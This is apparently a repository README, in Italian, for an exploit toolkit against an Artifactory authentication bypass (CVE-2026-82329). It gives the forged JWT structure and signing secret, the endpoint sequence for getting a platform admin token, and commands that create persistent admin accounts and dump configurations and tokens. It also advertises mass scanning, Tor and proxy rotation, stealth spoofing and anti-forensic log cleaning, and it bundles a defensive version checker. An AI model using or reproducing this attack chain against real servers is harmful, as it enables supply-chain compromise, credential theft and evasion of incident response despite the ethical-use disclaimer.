
Toolkit di exploit e rilevamento per CVE-2026-82329, un bypass di autenticazione di JFrog Artifactory. Falsifica i JWT di join per generare token admin; include un verificatore di versione non intrusivo.

SOLO USO ETICO – TEST DI SICUREZZA AUTORIZZATI
Questo repository fornisce strumenti esclusivamente per professionisti della sicurezza autorizzati, blue team e penetration tester.
L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), Computer Misuse Act (Regno Unito), TCK 243/244 (Turchia) e leggi simili in tutto il mondo.
CVE‑2026‑82329 è una vulnerabilità critica di bypass dell'autenticazione in JFrog Artifactory self-hosted (versioni dalla 7.111.x alla 7.161.x) che consente a un attaccante non autenticato di ottenere un token di amministratore completo della piattaforma sfruttando il meccanismo di join del cluster JFrog Access.
32 * 0x20 (spazi).kid = SHA256("").POST /access/api/v1/registry/join restituisce un token SERVICE con scp=admin senza alcuna autenticazione.POST /access/api/v1/tokens con scope=applied-permissions/admin&audience=* produce un token di amministratore completo della piattaforma.| Strumento | Scopo | Utente previsto |
|---|---|---|
exploit.py | Toolkit completo weaponized con forgiatura JWT, scambio di token admin, creazione di utenti admin, scansione di massa, modalità stealth, rotazione proxy, menu interattivo e catena di attacco completa. | Red team / pentester autorizzati |
safechecker.py | Verificatore di vulnerabilità non intrusivo che rileva la versione di Artifactory, convalida l'esposizione e valuta il rischio senza ottenere alcun token o eseguire alcun payload. Genera report JSON. | Blue team / revisori della sicurezza |
| Funzionalità | exploit.py | safechecker.py |
|---|---|---|
| Rilevamento vulnerabilità | ✅ | ✅ |
| Rilevamento versione | ✅ | ✅ |
| JWT di join contraffatto | ✅ | ❌ |
| Emissione token di servizio | ✅ | ❌ |
| Scambio token admin | ✅ | ❌ |
| Creazione utente admin | ✅ | ❌ |
| Elenco repository | ✅ | ❌ |
| Elenco utenti | ✅ | ❌ |
| Dump configurazione | ✅ | ❌ |
| Dump token | ✅ | ❌ |
| Catena di attacco completa | ✅ | ❌ |
| Menu interattivo | ✅ | ❌ |
| Scansione di massa (multi‑thread) | ✅ | ✅ |
| Supporto proxy | ✅ | ✅ |
| Rotazione proxy | ✅ | ❌ |
| Supporto Tor (anonimato) | ✅ | ❌ |
| Rotazione User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Rate limiter adattivo | ✅ | ❌ |
| Modalità non intrusiva (sicura) | ❌ | ✅ |
| Report versione | ✅ | ✅ |
| Controllo accesso anonimo | ❌ | ✅ |
| Report JSON | ✅ | ✅ |
| Scenario | Strumento consigliato |
|---|---|
| Blue Team – verificare se il proprio Artifactory è vulnerabile | safechecker.py |
| Audit di sicurezza – valutazione non intrusiva della vulnerabilità | safechecker.py |
| Red Team – penetration testing autorizzato con sfruttamento completo | exploit.py |
| Bug Bounty – test di divulgazione responsabile | safechecker.py |
| Scansione di massa – verifica di più target per la vulnerabilità | exploit.py (solo rilevamento) |
| Incident Response – verificare se i sistemi sono compromessi | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py| Parametro | Descrizione |
|---|---|
-u, --url | URL di un singolo target Artifactory (es. http://artifactory.example.com:8082) |
-f, --file | File contenente l'elenco dei target (uno per riga) per la scansione di massa |
--create-admin | Crea un utente admin persistente (formato: USER:PASS) |
--keep-admin | Mantiene l'utente admin creato (non esegue la pulizia dopo la scansione) |
--token-only | Stampa solo il token admin (target singolo) |
--interactive | Menu interattivo dopo lo sfruttamento |
--service-id | Service ID per il JWT di join (predefinito: jfrt@01) |
-t, --threads | Numero di thread per multi‑target (predefinito: 10) |
--timeout | Timeout richiesta (predefinito: 25s) |
--retry | Tentativi massimi (predefinito: 3) |
--proxy | Proxy HTTP/HTTPS (es. http://127.0.0.1:8080) |
--proxy-list | File con proxy per la rotazione (uno per riga) |
--jitter | Jitter casuale (0‑2 sec) tra le richieste |
--stealth | Abilita la modalità stealth (rotazione UA + X‑Forwarded‑For) |
--curl-cffi | Usa curl_cffi per l'impersonificazione del fingerprint TLS |
--full | Attacco completo: tutti i moduli |
--dump-config | Dump della configurazione di sistema |
--dump-tokens | Dump di tutti i token di accesso |
--list-repos | Elenca i repository |
--list-users | Elenca gli utenti |
safechecker.py| Parametro | Descrizione |
|---|---|
-u, --url | URL di un singolo target Artifactory (es. http://artifactory.example.com:8082) |
-f, --file | File contenente l'elenco dei target (uno per riga) |
-t, --threads | Numero di thread per multi‑target (predefinito: 5) |
--timeout | Timeout richiesta (predefinito: 10s) |
-v, --verbose | Output dettagliato |
-o, --output | Salva il report JSON su file |
| # | Scenario | Comando |
|---|---|---|
| 1 | Verifica rapida della vulnerabilità | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | Scansione dettagliata con report | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | Audit di massa da file | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit solo rilevamento | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | Ottenere solo il token admin | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | Attacco completo con menu interattivo | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | Creare un utente admin persistente | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | Dump della configurazione | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | Elenca repository e utenti | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | Exploit di massa con stealth | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Rotazione proxy con Tor | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
L'exploit utilizza i seguenti endpoint JFrog e passaggi di sfruttamento:
| Passo | Metodo | Endpoint | Descrizione |
|---|---|---|---|
| 1. Join | POST | /access/api/v1/registry/join | JWT HS256 contraffatto → token SERVICE (scp=admin) |
| 2. Exchange | POST | /access/api/v1/tokens | Token SERVICE → token admin della piattaforma |
| 3. Prove | GET | /artifactory/api/system/configuration | Prova di accesso solo admin |
| 4. Persist | PUT | /artifactory/api/security/users/{user} | Crea un utente admin persistente |
| 5. Revoke | DELETE | /access/api/v1/tokens/{id} | Pulizia dei token creati |
# Forged join JWT structure
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# Signing secret
secret = b"\x20" * 32
# Admin token request
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
Questo software è fornito solo a scopo didattico e per test di sicurezza autorizzati.
| Pulizia log (anti‑forense) | ✅ | ❌ |
| User‑Agent personalizzato | ✅ | ✅ |
| Controllo verifica SSL | ✅ | ✅ |
--detect| Solo rilevamento (nessuno scambio di token admin) |
--exploit | Esegue lo sfruttamento completo |
-o, --output | Salva il report JSON su file |
-v, --verbose | Output dettagliato |
-q, --quiet | Modalità silenziosa |